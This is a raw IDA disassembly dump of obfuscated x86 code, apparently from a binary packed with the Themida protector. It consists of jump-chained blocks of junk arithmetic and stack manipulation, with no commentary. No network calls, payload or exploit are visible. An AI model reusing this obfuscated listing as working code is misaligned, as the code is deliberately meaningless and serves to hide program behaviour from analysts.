jmp loc_5651DC
; ---------------------------------------------------------------------------
loc_569482: ; CODE XREF: sub_562ABA+921Bj
not esi
xchg esi, ecx
xor [esp+12h+var_12], ecx
xor ecx, [esp+12h+var_12]
xor [esp+12h+var_12], ecx
push [esp+12h+var_12]
pop eax
push 9Eh
mov [esp+16h+var_16], edx
mov edx, esp
push ebx
push 334C1694h
pop ebx
add ebx, 0CCB3E970h
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
push ebp
mov ebp, esp
jmp loc_567A31
; ---------------------------------------------------------------------------
loc_5694BE: ; CODE XREF: sub_562ABA+4662j
neg ecx
jmp loc_560E74
; ---------------------------------------------------------------------------
loc_5694C5: ; CODE XREF: sub_562ABA+6CC3j
push edi
mov edi, 70B64B5h
push ecx
mov ecx, edi
jmp loc_566200
; ---------------------------------------------------------------------------
loc_5694D3: ; CODE XREF: sub_562ABA-1F58j
sub bl, 16h
jmp loc_56368B
; ---------------------------------------------------------------------------
loc_5694DB: ; CODE XREF: sub_562ABA+3684j
mov ecx, 3C7525F4h
xor ecx, 3C7525F0h
add eax, ecx
mov ecx, [esp+1Eh+var_1E]
jmp loc_56FE99
; ---------------------------------------------------------------------------
mov esp, [esp+1Eh+var_1E]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_5694F8: ; CODE XREF: sub_562ABA+71A5j
push 1
mov edx, [esp+22h+var_22]
jmp loc_566853
; ---------------------------------------------------------------------------
loc_569505: ; CODE XREF: sub_562ABA+1001Cj
push edi
mov edi, 1CAB45BFh
or eax, edi
pop edi
push ebx
mov ebx, 2C843FBAh
jmp loc_56C70F
; ---------------------------------------------------------------------------
loc_569519: ; CODE XREF: sub_562ABA+4D7Dj
xor edi, 5D16137Dh
jmp loc_563C2F
; ---------------------------------------------------------------------------
loc_569524: ; CODE XREF: sub_562ABA+C7B8j
add esp, 2
sub al, 9Ah
mov ebx, [esp-8+arg_4]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_565337
; ---------------------------------------------------------------------------
loc_569546: ; CODE XREF: sub_562ABA+17BAj
add edi, esi
pop esi
jmp loc_56A404
; ---------------------------------------------------------------------------
loc_56954E: ; CODE XREF: sub_562ABA-4366j
sub esi, eax
jmp loc_5636E8
; ---------------------------------------------------------------------------
loc_569555: ; CODE XREF: sub_562ABA-CEFj
pop eax
xchg ebp, [esp+36h+var_36]
pop esp
pop ecx
sub esp, 4
mov [esp+32h+var_32], ecx
mov ecx, 7C10DCC3h
xor ebx, ecx
pop ecx
sub eax, 0CD91EF0h
jmp loc_562E10
; ---------------------------------------------------------------------------
loc_569573: ; CODE XREF: sub_562ABA+1099j
mov [esp+46h+var_46], ebx
push esi
mov esi, 39115CB7h
mov ebx, 9A5F9482h
sub ebx, esi
jmp loc_565B0E
; ---------------------------------------------------------------------------
loc_569588: ; CODE XREF: sub_562ABA+28D1j
push 1DCAh
mov [esp-4+arg_0], eax
not [esp-4+arg_0]
pop eax
xor eax, 0DAA8C5CDh
add esi, eax
pop eax
sub esi, 4
jmp loc_5656F4
; ---------------------------------------------------------------------------
loc_5695A7: ; CODE XREF: sub_562ABA+28B7j
sub esp, 4
mov [esp+12h+var_12], esi
push ecx
push esi
mov esi, 5022138Dh
mov ecx, 379C48DEh
xor ecx, esi
pop esi
mov esi, ecx
pop ecx
jmp loc_563C5A
; ---------------------------------------------------------------------------
loc_5695C7: ; CODE XREF: sub_562ABA+7E0Dj
pop edi
jmp loc_563AC6
; ---------------------------------------------------------------------------
loc_5695CD: ; CODE XREF: sub_562ABA+3D15j
mov edx, [esp+36h+var_36]
add esp, 4
sub ecx, eax
add ecx, 58080ABFh
push eax
mov eax, 5205715Eh
xor eax, 679A7B6Ch
add ecx, eax
mov eax, [esp+36h+var_36]
add esp, 4
mov eax, [esp+32h+var_32]
add esp, 4
jmp loc_5604D7
; ---------------------------------------------------------------------------
loc_5695F9: ; CODE XREF: sub_562ABA-4C7j
xor ebx, [esp+22h+var_22]
xor [esp+22h+var_22], ebx
xor ebx, [esp+22h+var_22]
jmp loc_566A07
; ---------------------------------------------------------------------------
loc_569607: ; CODE XREF: sub_562ABA+7B98j
pop [esp+22h+var_22]
add [esp+1Eh+var_1E], 4
jmp loc_567C39
; ---------------------------------------------------------------------------
loc_569616: ; CODE XREF: sub_562ABA+D949j
mov edi, esp
add edi, 4
push ebp
mov ebp, 20D96C3Dh
sub ebp, 23405938h
push eax
jmp loc_55E62E
; ---------------------------------------------------------------------------
loc_569630: ; CODE XREF: sub_562ABA+9C0Ej
push esp
pop edx
add edx, 4
jmp loc_566650
; ---------------------------------------------------------------------------
loc_56963D: ; CODE XREF: sub_56112E+200j
push 482Fh
push 26C5h
jmp near ptr word_55FFF6
; ---------------------------------------------------------------------------
loc_56964C: ; CODE XREF: sub_562ABA+4104j
add ecx, edx
pop edx
sub ecx, 4
xchg ecx, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
mov [esp+16h+var_16], ebx
jmp loc_56E19B
; ---------------------------------------------------------------------------
loc_569663: ; CODE XREF: sub_562ABA+CA25j
pop esp
shr [esp+12h+var_12], cl
pushf
jmp loc_55FC3C
; ---------------------------------------------------------------------------
loc_56966D: ; CODE XREF: sub_562ABA-302Ej
add esi, 4
xchg esi, [esp+1Eh+var_1E]
jmp loc_571FA2
; ---------------------------------------------------------------------------
loc_56967B: ; CODE XREF: sub_562ABA+C10j
add esp, 4
pop [esp+46h+var_46]
mov esp, [esp+42h+var_42]
jmp loc_56E2DE
; ---------------------------------------------------------------------------
loc_56968C: ; CODE XREF: Themida_:00572A4Aj
sub esi, 24472FCFh
add esi, ebp
add esi, 24472FCFh
pop ebp
add ebx, 4659016Bh
add ebx, esi
push ebp
mov ebp, 4659016Bh
sub ebx, ebp
pop ebp
pop esi
push ecx
mov ecx, 4
add ebx, ecx
jmp loc_5729FD
; ---------------------------------------------------------------------------
loc_5696BA: ; CODE XREF: sub_562ABA+7DB6j
sub esp, 4
jmp loc_56D55D
; ---------------------------------------------------------------------------
loc_5696C2: ; CODE XREF: sub_562ABA+3FA5j
xor bl, 62h
not bl
xor bl, 7
mov cl, bl
pop ebx
push small 517Eh
mov [esp+0], ax
mov ah, 33h
and cl, ah
mov ax, [esp+0]
add esp, 2
push ax
mov ah, 0FFh
add cl, ah
pop ax
shl cl, 5
push edx
push ebx
mov bl, 67h
mov dh, 0F2h
xor dh, bl
pop ebx
xor cl, dh
jmp loc_566E6C
; ---------------------------------------------------------------------------
loc_5696FB: ; CODE XREF: sub_562ABA+EC0Dj
push esi
push esp
push [esp+16h+var_16]
pop esi
push edi
mov edi, esp
add edi, 4
jmp loc_571FC6
; ---------------------------------------------------------------------------
loc_56970F: ; CODE XREF: sub_562ABA+4387j
mov eax, [esp+5Ch+var_5E+2]
add esp, 4
jmp loc_56D9D4
; ---------------------------------------------------------------------------
loc_56971A: ; CODE XREF: sub_562ABA-8CAj
push ebx
jmp loc_5661ED
; ---------------------------------------------------------------------------
loc_569720: ; CODE XREF: sub_562ABA+F3Bj
pop esp
add esi, 4
jmp loc_5677AE
; ---------------------------------------------------------------------------
loc_56972C: ; CODE XREF: sub_562ABA+D0F4j
mov [esp+0Ah+var_C+2], edx
jmp loc_564EC6
; ---------------------------------------------------------------------------
loc_569734: ; CODE XREF: sub_562ABA+725Dj
add ebp, 4E875674h
jmp loc_56F2ED
; ---------------------------------------------------------------------------
loc_56973F: ; CODE XREF: sub_562ABA+2B3Ej
xor eax, ecx
push 4C46h
mov [esp+16h+var_16], eax
sub esp, 4
jmp loc_562521
; ---------------------------------------------------------------------------
loc_569751: ; CODE XREF: sub_562ABA+E20Bj
push 3790h
mov [esp+1Eh+var_1E], ebx
jmp loc_56B16C
; ---------------------------------------------------------------------------
loc_56975E: ; CODE XREF: sub_562ABA+8F6Dj
pop edx
push ebp
push ebx
mov ebx, 4
jmp loc_5677E3
; ---------------------------------------------------------------------------
loc_56976B: ; CODE XREF: sub_562ABA-279j
mov esi, 43064560h
jmp loc_570958
; ---------------------------------------------------------------------------
loc_569775: ; CODE XREF: sub_562ABA+E103j
add ebp, 4
push edx
push ebp
jmp loc_5694C5
; ---------------------------------------------------------------------------
loc_569782: ; CODE XREF: sub_562ABA+BFF6j
mov esi, 62E10DF9h
neg esi
shr esi, 1
jmp loc_563C7D
; ---------------------------------------------------------------------------
loc_569790: ; CODE XREF: sub_562ABA+CEEBj
and ebx, 35022B13h
sub ebx, 0C24AF02Dh
jmp loc_564875
; ---------------------------------------------------------------------------
loc_5697A1: ; CODE XREF: sub_562ABA-3A66j
mov [esp+2Ah+var_2C+2], esi
jmp loc_560BDA
; ---------------------------------------------------------------------------
loc_5697A9: ; CODE XREF: sub_562ABA+FA99j
mov [esp+2Ah+var_2C+2], edx
push esp
pop edx
jmp loc_570A2F
; ---------------------------------------------------------------------------
loc_5697B3: ; CODE XREF: sub_562ABA-387Bj
sub eax, 1A457048h
jmp loc_567E65
; ---------------------------------------------------------------------------
loc_5697BD: ; CODE XREF: sub_562ABA+698Cj
pop eax
push edx
push esp
pop edx
add edx, 4
add edx, 4
push edx
jmp loc_5723E6
; ---------------------------------------------------------------------------
loc_5697D3: ; CODE XREF: sub_562ABA+A3A3j
mov ebx, esp
jmp loc_57151D
; ---------------------------------------------------------------------------
loc_5697DA: ; CODE XREF: sub_562ABA-26ECj
mov [esp-8+arg_4], ecx
push ebx
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp+0], edx
mov edx, 3B816537h
jmp loc_572856
; ---------------------------------------------------------------------------
loc_5697F9: ; CODE XREF: sub_562ABA+2CD9j
add ecx, edi
jmp loc_562C30
; ---------------------------------------------------------------------------
loc_569800: ; CODE XREF: sub_562ABA+7583j
add esp, 4
shl ecx, 2
add ecx, 48840551h
jmp loc_564F84
; ---------------------------------------------------------------------------
loc_569814: ; CODE XREF: sub_562ABA+5486j
mov esi, [esp+0]
add esp, 4
or ecx, 631C7557h
xor ecx, 482C36AEh
mov esi, ecx
pop ecx
push esi
not [esp-6+arg_0+2]
pop esi
or esi, 799C4DC1h
shl esi, 3
shl esi, 2
inc esi
add esi, 0FD8A4A7Eh
jmp loc_563141
; ---------------------------------------------------------------------------
loc_569849: ; CODE XREF: sub_562ABA+487j
xor eax, esi
pop esi
mov ecx, eax
pop eax
add ecx, 0C2D5A558h
xor eax, ecx
push [esp+0Ch+var_C]
pop ecx
add esp, 4
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ebp
mov ebp, 5CB05305h
push eax
jmp loc_56C149
; ---------------------------------------------------------------------------
loc_56987F: ; CODE XREF: sub_562ABA+4DE0j
not bl
shl bl, 5
jmp loc_569353
; ---------------------------------------------------------------------------
loc_569889: ; CODE XREF: sub_562ABA+B882j
pop esp
mov [esp-0Eh+arg_8+2], edi
mov edi, 4
add edx, edi
pop edi
jmp loc_564E88
; ---------------------------------------------------------------------------
loc_56989A: ; CODE XREF: sub_562ABA+D357j
pop edi
jmp loc_56F695
; ---------------------------------------------------------------------------
loc_5698A0: ; CODE XREF: sub_562ABA+6F7Aj
pop edx
pop [esp-1Ah+arg_14+2]
pop esp
jmp loc_562D8D
; ---------------------------------------------------------------------------
loc_5698AA: ; CODE XREF: sub_562ABA+4A5Aj
add ebp, 0EC018626h
jmp loc_56219A
; ---------------------------------------------------------------------------
loc_5698B5: ; CODE XREF: sub_562ABA-46DFj
pop ebx
push ebp
mov ebp, 1A7533DCh
sub eax, ebp
pop ebp
jmp loc_56789F
; ---------------------------------------------------------------------------
loc_5698C4: ; CODE XREF: sub_562ABA+167j
mov edi, 47F95661h
jmp loc_566581
; ---------------------------------------------------------------------------
loc_5698CE: ; CODE XREF: sub_562ABA+54D9j
mov ebp, edi
pop edi
push ebp
jmp loc_56F2C8
; ---------------------------------------------------------------------------
loc_5698D7: ; CODE XREF: sub_562ABA+1EEAj
push ecx
push [esp-8+arg_8]
pop ecx
pop [esp-8+arg_4]
jmp loc_5717B6
; ---------------------------------------------------------------------------
loc_5698E5: ; DATA XREF: Themida_:0055DDD8o
lodsd
xor eax, ebx
sub esp, 4
mov [esp-8+arg_4], esi
push eax
mov eax, 1AAE9FA2h
mov esi, eax
jmp loc_564B13
; ---------------------------------------------------------------------------
loc_5698FE: ; CODE XREF: sub_562ABA-33A3j
push [esp+0Ah+var_8+2]
pop eax
pop [esp+0Ah+var_C+2]
jmp loc_5728B0
; ---------------------------------------------------------------------------
loc_56990B: ; CODE XREF: sub_562ABA+FD97j
push [esp+6+var_8+2]
pop esi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ah+var_C+2]
pop esp
add ebx, 5F25452Dh
push dword ptr [eax]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56992F: ; CODE XREF: sub_562ABA+63F6j
pop eax
and esi, 661A41A8h
add esi, 15681A91h
sub esi, 3A99F6BAh
add edx, 25B47E1Ah
sub edx, esi
sub edx, 25B47E1Ah
pop esi
push 6299h
jmp loc_56CB07
; ---------------------------------------------------------------------------
loc_56995B: ; CODE XREF: sub_55FCA5+4BBj
pop edx
sub esp, 4
mov [esp+0], edi
jmp loc_5710E4
; ---------------------------------------------------------------------------
loc_56996A: ; CODE XREF: sub_562ABA+AAE3j
add esp, 4
pop [esp+0Ah+var_C+2]
pop esp
mov [esp+2+var_4+2], ecx
push edx
jmp loc_57209E
; ---------------------------------------------------------------------------
loc_56997A: ; CODE XREF: sub_562ABA-477Aj
push edx
mov edx, esp
jmp loc_570A88
; ---------------------------------------------------------------------------
loc_569982: ; CODE XREF: sub_562ABA+93F0j
sub eax, 0AFEDF9BEh
jmp loc_55E809
; ---------------------------------------------------------------------------
loc_56998C: ; CODE XREF: sub_562ABA+9F52j
push ebp
jmp loc_570E83
; ---------------------------------------------------------------------------
loc_569992: ; CODE XREF: sub_562ABA-1544j
mov esi, [esp-16h+arg_10+2]
push 5FDEh
mov [esp-12h+arg_C+2], edx
push esp
pop edx
add edx, 4
jmp loc_561E9B
; ---------------------------------------------------------------------------
loc_5699AA: ; CODE XREF: sub_562ABA+5B0Cj
and ecx, edx
jmp loc_5718CF
; ---------------------------------------------------------------------------
loc_5699B1: ; CODE XREF: sub_562ABA+7250j
neg esi
sub esi, 7F584D9Eh
xor ecx, esi
pop esi
jmp loc_56813A
; ---------------------------------------------------------------------------
loc_5699C1: ; CODE XREF: sub_562ABA+BA21j
pop ebx
add eax, 3B7A36E2h
jmp loc_5612FC
; ---------------------------------------------------------------------------
loc_5699CC: ; CODE XREF: sub_562ABA+9A67j
push 3FCh
mov ecx, [esp+0]
add esp, 4
push esi
jmp loc_56E189
; ---------------------------------------------------------------------------
loc_5699DD: ; CODE XREF: sub_562ABA+284j
push 624Eh
mov [esp+6+var_8+2], ecx
jmp loc_568769
; ---------------------------------------------------------------------------
loc_5699EA: ; CODE XREF: sub_562ABA+EABDj
push edi
pop ecx
pop edi
jmp loc_55FC9D
; ---------------------------------------------------------------------------
loc_5699F2: ; CODE XREF: sub_562ABA+7CC3j
mov ebp, 557A2150h
shl ebp, 1
sub ebp, 0AAF4429Ch
add eax, ebp
pop ebp
add eax, 4
xchg eax, [esp+0]
pop esp
push 5594h
mov [esp+0], edx
push ecx
push 577Dh
mov [esp+6+var_8+2], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+6+var_8+2]
jmp loc_5670B4
; ---------------------------------------------------------------------------
loc_569A30: ; CODE XREF: sub_562ABA+DCE6j
push [esp+6+var_4+2]
jmp loc_5698A0
; ---------------------------------------------------------------------------
loc_569A39: ; CODE XREF: sub_562ABA+4AC4j
push 1538h
jmp loc_56D9FA
; ---------------------------------------------------------------------------
loc_569A43: ; CODE XREF: sub_562ABA+3544j
mov ah, 1Ah
add dl, ah
mov ax, [esp+0]
add esp, 2
xor al, dl
push [esp+20h+var_22+2]
mov edx, [esp+0]
add esp, 4
sub esp, 4
jmp loc_560732
; ---------------------------------------------------------------------------
loc_569A64: ; CODE XREF: sub_562ABA+5C13j
push ecx
mov ecx, esp
jmp loc_56DB8D
; ---------------------------------------------------------------------------
loc_569A6C: ; CODE XREF: sub_562ABA+23F6j
pop eax
push edx
jmp loc_5670A9
; ---------------------------------------------------------------------------
loc_569A73: ; CODE XREF: sub_562ABA-3666j
pop ebp
xor ebp, 76D264DDh
mov eax, ebp
mov ebp, [esp+1Eh+var_1E]
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp+22h+var_22]
xor [esp+22h+var_22], esi
xor esi, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], eax
push 279Bh
push esp
pop [esp+26h+var_28+2]
add [esp+22h+var_22], 4
push [esp+22h+var_22]
jmp loc_5728CC
; ---------------------------------------------------------------------------
loc_569AB0: ; CODE XREF: sub_562ABA+940Cj
or eax, eax
jz loc_56880B
push dword ptr [edi+28h]
push [esp+2Ah+var_2C+2]
push dword ptr [esp+0]
pop eax
sub esp, 4
jmp loc_56260B
; ---------------------------------------------------------------------------
loc_569ACD: ; CODE XREF: sub_562ABA+576Aj
mov esi, edx
jmp loc_56AA32
; ---------------------------------------------------------------------------
loc_569AD4: ; CODE XREF: sub_562ABA+25EAj
mov eax, 64F713A1h
xor eax, 164603CFh
jmp loc_5712E3
; ---------------------------------------------------------------------------
push [esp+36h+var_36]
mov eax, [esp+3Ah+var_3A]
push edx
jmp loc_56E67F
; ---------------------------------------------------------------------------
loc_569AEF: ; CODE XREF: sub_562ABA+5044j
xchg ebp, [esp+0]
jmp loc_56001D
; ---------------------------------------------------------------------------
loc_569AF7: ; CODE XREF: sub_562ABA+609Aj
add esp, 4
sub cl, 7Ch
push eax
jmp loc_570255
; ---------------------------------------------------------------------------
loc_569B06: ; CODE XREF: sub_562ABA-A91j
add edx, edi
push edi
mov edi, 4B356671h
add edx, edi
pop edi
mov edi, [esp+0]
add esp, 4
sub esi, 4D06C82h
sub esi, edx
add esi, 4D06C82h
pop edx
push esi
push [esp+0Ah+var_8+2]
pop esi
pop [esp+0Ah+var_C+2]
mov esp, [esp+6+var_8+2]
mov [esp+6+var_8+2], edx
push 32B0h
jmp loc_56D86C
; ---------------------------------------------------------------------------
loc_569B3F: ; CODE XREF: sub_55FCA5+318j
mov cl, 84h
shr cl, 7
and cl, 0F0h
xor cl, 4Ah
sub al, cl
pop ecx
jmp loc_562CC8
; ---------------------------------------------------------------------------
loc_569B52: ; CODE XREF: sub_562ABA+F5DFj
add ebp, 4
jmp loc_5634CD
; ---------------------------------------------------------------------------
loc_569B5D: ; CODE XREF: sub_562ABA+EFAj
not edi
not edi
shl edi, 4
jmp loc_5675BB
; ---------------------------------------------------------------------------
loc_569B69: ; CODE XREF: sub_562ABA-33D2j
inc ecx
add ecx, 462F61A5h
add ecx, 0A9CB5D52h
mov edx, ecx
pop ecx
jmp loc_56F03B
; ---------------------------------------------------------------------------
loc_569B7E: ; CODE XREF: sub_562ABA+582Cj
pop ecx
push 1F81h
mov [esp+16h+var_16], ecx
mov ecx, esp
jmp loc_567347
; ---------------------------------------------------------------------------
loc_569B8E: ; CODE XREF: sub_562ABA+9E56j
sub edx, 0FFFFFFFFh
jmp loc_55F6B6
; ---------------------------------------------------------------------------
loc_569B96: ; DATA XREF: Themida_:0055DFA4o
mov ax, word ptr [esp+16h+var_16]
jmp loc_56F637
; ---------------------------------------------------------------------------
loc_569B9F: ; CODE XREF: sub_562ABA+1CCBj
mov esp, [esp+6+var_8+2]
jmp loc_5714E9
; ---------------------------------------------------------------------------
loc_569BA7: ; CODE XREF: sub_562ABA+4928j
add ebx, edi
jmp loc_56BEAF
; ---------------------------------------------------------------------------
loc_569BAE: ; CODE XREF: sub_562ABA+7BF7j
mov esp, [esp+10h+var_12+2]
imul cx
push small 0A0Bh
jmp loc_56D48C
; ---------------------------------------------------------------------------
loc_569BBD: ; CODE XREF: sub_562ABA-1E87j
push ebx
mov bl, 0DFh
shl bl, 7
add bl, 9Eh
add al, bl
mov ebx, [esp-8+arg_4]
add esp, 4
mov cx, word ptr [esp-0Ch+arg_8]
jmp loc_55F5B7
; ---------------------------------------------------------------------------
loc_569BD7: ; CODE XREF: sub_562ABA+3E00j
add esi, 92DE6E6Ch
add edx, esi
jmp loc_5651E3
; ---------------------------------------------------------------------------
loc_569BE4: ; CODE XREF: sub_562ABA+2F10j
shr bl, 6
jmp loc_56727F
; ---------------------------------------------------------------------------
loc_569BEC: ; CODE XREF: sub_562ABA+F7DCj
push [esp+4Eh+var_4E]
jmp loc_572BA2
; ---------------------------------------------------------------------------
loc_569BF4: ; CODE XREF: sub_562ABA+AD14j
add esp, 4
movsx ecx, ax
push 1399h
mov [esp+52h+var_52], ecx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_569C0A: ; CODE XREF: sub_562ABA-1533j
add ecx, ebp
jmp loc_561710
; ---------------------------------------------------------------------------
loc_569C11: ; CODE XREF: sub_562ABA+8FFAj
add ebx, 1F179120h
mov eax, ebx
pop ebx
mov edx, 48A0FB5h
jmp loc_56ADB3
; ---------------------------------------------------------------------------
loc_569C24: ; CODE XREF: sub_562ABA+1C1Aj
xor ebp, [esp+2Ah+var_2C+2]
mov esp, [esp+2Ah+var_2C+2]
push 79D7h
mov [esp+0], ebx
jmp loc_56C9DE
; ---------------------------------------------------------------------------
loc_569C37: ; CODE XREF: sub_562ABA+598Bj
pop eax
add esp, 4
xchg ecx, [esp-12h+arg_C+2]
pop esp
add esi, eax
push edx
push edi
jmp loc_5634AC
; ---------------------------------------------------------------------------
loc_569C48: ; CODE XREF: sub_562ABA-1F9j
push ebx
push 512Ch
jmp loc_5682B0
; ---------------------------------------------------------------------------
loc_569C53: ; CODE XREF: sub_562ABA+AC0Cj
add esp, 4
pop [esp+32h+var_32]
mov esp, [esp+0]
mov [esp+0], edx
jmp loc_5694F8
; ---------------------------------------------------------------------------
loc_569C64: ; CODE XREF: sub_562ABA+D38Ej
sub edx, ebp
jmp loc_56532B
; ---------------------------------------------------------------------------
loc_569C6B: ; CODE XREF: sub_562ABA+CF71j
sub esp, 4
mov [esp+32h+var_32], ebx
mov bl, dh
mov ch, bl
pop ebx
mov edx, [esp+0]
jmp loc_5688CB
; ---------------------------------------------------------------------------
loc_569C81: ; CODE XREF: sub_562ABA+12F3j
add esi, ebx
pop ebx
push edx
jmp loc_568D4F
; ---------------------------------------------------------------------------
loc_569C8A: ; CODE XREF: Themida_:00571F77j
xchg cx, si
jmp loc_570153
; ---------------------------------------------------------------------------
loc_569C92: ; CODE XREF: sub_562ABA+1715j
xchg eax, edi
push esi
jmp loc_560FE5
; ---------------------------------------------------------------------------
loc_569C99: ; CODE XREF: sub_562ABA+4D1Fj
add [esp+42h+var_42], 64E93BE0h
pop eax
push esi
push 711Bh
jmp loc_57043D
; ---------------------------------------------------------------------------
loc_569CAC: ; CODE XREF: sub_562ABA+324Fj
add ebx, 4
xchg ebx, [esp+26h+var_28+2]
pop esp
add ebx, 4
push ebx
push [esp+26h+var_22]
pop ebx
pop [esp+26h+var_28+2]
mov esp, [esp+22h+var_22]
dec [esp+22h+var_22]
pushf
jmp loc_560563
; ---------------------------------------------------------------------------
loc_569CCE: ; CODE XREF: sub_562ABA+924Bj
push [esp+26h+var_28+2]
push [esp+2Ah+var_2C+2]
jmp loc_56CBD6
; ---------------------------------------------------------------------------
loc_569CD9: ; CODE XREF: sub_562ABA-16FCj
add [esp-0Ch+arg_C], edx
pop edx
pop ebp
jmp loc_5657FD
; ---------------------------------------------------------------------------
loc_569CE4: ; CODE XREF: sub_562ABA+E91Cj
mov ebp, 55285FBFh
add ebp, 0FFFFFFFFh
sub ebp, 2C515437h
jmp sub_55EEB7
; ---------------------------------------------------------------------------
loc_569CF7: ; CODE XREF: sub_562ABA+11Aj
mov edx, [esp+12h+var_12]
push 57A0h
jmp loc_55EB54
; ---------------------------------------------------------------------------
loc_569D04: ; CODE XREF: sub_562ABA+3F94j
or esi, 678B5B5Fh
jmp loc_5699B1
; ---------------------------------------------------------------------------
loc_569D0F: ; CODE XREF: sub_562ABA-20D4j
sub ebp, 4E875674h
add ebp, edx
jmp loc_569734
; ---------------------------------------------------------------------------
loc_569D1C: ; CODE XREF: Themida_:0056091Bj
mov edi, esp
add edi, 4
push esi
jmp loc_565493
; ---------------------------------------------------------------------------
loc_569D2A: ; CODE XREF: sub_562ABA+D019j
mov eax, ebp
mov ebp, [esp+2Ah+var_2C+2]
jmp loc_56C72D
; ---------------------------------------------------------------------------
loc_569D34: ; CODE XREF: sub_562ABA+C2D4j
pop cx
or bl, 8Ch
jmp loc_561D12
; ---------------------------------------------------------------------------
loc_569D3E: ; CODE XREF: sub_562ABA+F5B3j
xchg esi, [esp+28h+var_28]
pop esp
push ebp
mov ebp, 4
jmp loc_5637A2
; ---------------------------------------------------------------------------
loc_569D4D: ; CODE XREF: sub_562ABA+DCB5j
add edx, 4
push esi
push ebp
mov ebp, 3E735D2Ch
push edx
jmp loc_5627EA
; ---------------------------------------------------------------------------
loc_569D60: ; CODE XREF: sub_562ABA-2E96j
push 7BC1h
mov [esp+12h+var_12], ebx
jmp loc_56A56F
; ---------------------------------------------------------------------------
loc_569D6D: ; CODE XREF: sub_562ABA-1E21j
pop ecx
not edx
add edx, 6AD00D09h
sub edx, 0AEDF54ECh
add ecx, edx
jmp loc_56505A
; ---------------------------------------------------------------------------
loc_569D83: ; CODE XREF: sub_562ABA+B3BCj
mov ebp, ebx
jmp loc_5615FC
; ---------------------------------------------------------------------------
loc_569D8A: ; CODE XREF: sub_562ABA+B848j
add esp, 4
sub ebx, 28EE40A0h
jmp loc_56F53B
; ---------------------------------------------------------------------------
loc_569D98: ; CODE XREF: sub_562ABA+8A86j
xchg edx, [esp-0Ah+arg_4+2]
jmp loc_565FAE
; ---------------------------------------------------------------------------
loc_569DA0: ; CODE XREF: sub_562ABA-32A7j
pop esi
add esp, 4
mov edi, [esp+1Eh+var_1E]
push edi
mov edi, esp
add edi, 4
jmp loc_5686AA
; ---------------------------------------------------------------------------
loc_569DB8: ; CODE XREF: sub_562ABA+A0C0j
add bh, 0Ch
add bh, 98h
xor ch, bh
jmp loc_56A700
; ---------------------------------------------------------------------------
loc_569DC5: ; CODE XREF: sub_562ABA-8FBj
pop ecx
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
jmp loc_56D46D
; ---------------------------------------------------------------------------
loc_569DD4: ; CODE XREF: sub_562ABA+7670j
push edx
mov edx, esp
push 0AEEh
mov [esp+0], esi
mov esi, 7BFC6778h
shl esi, 7
push ebp
jmp loc_56BB4A
; ---------------------------------------------------------------------------
loc_569DED: ; CODE XREF: sub_562ABA-DCEj
add esi, 1BC622Ch
pop ebx
mov edx, [esp+0Ah+var_C+2]
add esp, 4
add [esp+6+var_4+2], 754274B3h
add [esp+6+var_4+2], esi
sub [esp+6+var_4+2], 754274B3h
jmp loc_55F935
; ---------------------------------------------------------------------------
loc_569E16: ; CODE XREF: sub_562ABA+87C2j
push 1645h
mov [esp+0Ah+var_C+2], ecx
push ebp
mov ebp, 1691071Ah
mov ecx, 1B973274h
jmp loc_56A026
; ---------------------------------------------------------------------------
loc_569E2E: ; CODE XREF: sub_562ABA+F507j
mov [esp+0], esp
jmp loc_56C7B1
; ---------------------------------------------------------------------------
loc_569E36: ; CODE XREF: sub_55FCA5+28Dj
mov eax, 4B6029E3h
shl eax, 1
push edx
jmp loc_55FA91
; ---------------------------------------------------------------------------
loc_569E43: ; CODE XREF: sub_562ABA+E8D6j
add dword ptr [esp+4], 45D044B1h
push [esp+12h+var_12]
pop ecx
jmp loc_56079A
; ---------------------------------------------------------------------------
loc_569E54: ; CODE XREF: sub_562ABA+3712j
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55FA7F
; ---------------------------------------------------------------------------
loc_569E67: ; CODE XREF: sub_562ABA+4E39j
mov [esp+1Ah+var_1A], ebp
push esp
jmp loc_571F6D
; ---------------------------------------------------------------------------
loc_569E70: ; CODE XREF: sub_562ABA-3B60j
add ebp, ecx
pop ecx
jmp loc_55E9DF
; ---------------------------------------------------------------------------
loc_569E78: ; CODE XREF: sub_562ABA+C40Bj
inc bl
push eax
mov al, 0ECh
sub bl, al
jmp loc_563DE1
; ---------------------------------------------------------------------------
loc_569E84: ; CODE XREF: sub_562ABA+B756j
mov esp, [esp+2Ah+var_2C+2]
movzx ax, byte ptr [eax]
push 367Bh
jmp loc_5658D8
; ---------------------------------------------------------------------------
loc_569E95: ; CODE XREF: sub_562ABA-1471j
pop edx
jmp loc_56C2DA
; ---------------------------------------------------------------------------
loc_569E9B: ; CODE XREF: sub_562ABA+B9B5j
push eax
push esi
push 6C156227h
pop esi
xor esi, 3A757B6Eh
shr esi, 1
xor esi, 7C4F45CBh
push esi
sub [esp-0Ah+arg_4+2], 14DF0493h
pop eax
jmp loc_56BF93
; ---------------------------------------------------------------------------
loc_569EBF: ; CODE XREF: sub_562ABA+557Dj
push edi
jmp loc_56F7DA
; ---------------------------------------------------------------------------
loc_569EC5: ; CODE XREF: sub_562ABA-30C8j
mov [esp+6+var_8+2], ecx
mov ecx, 11C621A1h
sub edi, ecx
pop ecx
not edi
add edi, 6F5298DBh
jmp loc_5721A6
; ---------------------------------------------------------------------------
loc_569EDD: ; CODE XREF: sub_562ABA+D1FAj
add ecx, eax
pop eax
add edx, ecx
mov ecx, [esp+0]
add esp, 4
neg edx
add edx, 874E715Dh
jmp sub_561E53
; ---------------------------------------------------------------------------
loc_569EF5: ; CODE XREF: sub_562ABA+61F1j
not ah
add ah, 88h
jmp loc_572990
; ---------------------------------------------------------------------------
